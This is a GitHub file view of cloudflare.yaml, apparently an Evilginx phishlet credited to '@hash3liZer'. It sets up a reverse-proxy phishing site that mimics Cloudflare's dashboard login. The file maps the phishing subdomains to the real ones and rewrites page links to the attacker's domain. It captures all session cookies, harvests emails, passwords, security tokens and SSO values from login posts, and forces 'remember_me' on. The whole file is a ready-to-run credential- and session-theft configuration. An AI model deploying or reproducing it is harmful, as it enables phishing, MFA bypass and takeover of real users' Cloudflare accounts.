-
Notifications
You must be signed in to change notification settings - Fork 59
/
Copy pathcloudflare.yaml
45 lines (45 loc) · 1.82 KB
/
cloudflare.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
author: '@hash3liZer'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: '', orig_sub: '', domain: 'cloudflare.com', session: false, is_landing: false, auto_filter: false}
- {phish_sub: 'dash', orig_sub: 'dash', domain: 'cloudflare.com', session: true, is_landing: true, auto_filter: false}
- {phish_sub: 'www', orig_sub: 'www', domain: 'cloudflare.com', session: true, is_landing: false, auto_filter: false}
sub_filters:
- {triggers_on: 'dash.cloudflare.com', orig_sub: 'dash', domain: 'cloudflare.com', search: 'dash.cloudflare.com', replace: 'dash.{domain}', mimes: ['text/html', 'text/javascript']}
- {triggers_on: 'dash.cloudflare.com', orig_sub: 'dash', domain: 'cloudflare.com', search: 'dash.cloudflare.com', replace: 'dash.{domain}', mimes: ['application/javascript', 'application/json']}
- {triggers_on: 'dash.cloudflare.com', orig_sub: 'dash', domain: 'cloudflare.com', search: 'www.cloudflare.com', replace: 'www.{domain}', mimes: ['text/html', 'text/javascript']}
- {triggers_on: 'dash.cloudflare.com', orig_sub: 'dash', domain: 'cloudflare.com', search: 'www.cloudflare.com', replace: 'www.{domain}', mimes: ['application/javascript', 'application/json']}
auth_tokens:
- domain: 'www.cloudflare.com'
keys: ['.*,regexp']
- domain: 'dash.cloudflare.com'
keys: ['.*,regexp']
credentials:
username:
key: 'email'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
custom:
- key: 'security_token'
search: '(.*)'
type: 'post'
- key: 'sso'
search: '(.*)'
type: 'post'
auth_urls:
- '/api/v4/user'
login:
domain: 'dash.cloudflare.com'
path: '/login'
force_post:
- path: '/login'
search:
- {key: 'email', search: '.*'}
- {key: 'password', search: '.*'}
force:
- {key: 'remember_me', value: 'true'}
type: 'post'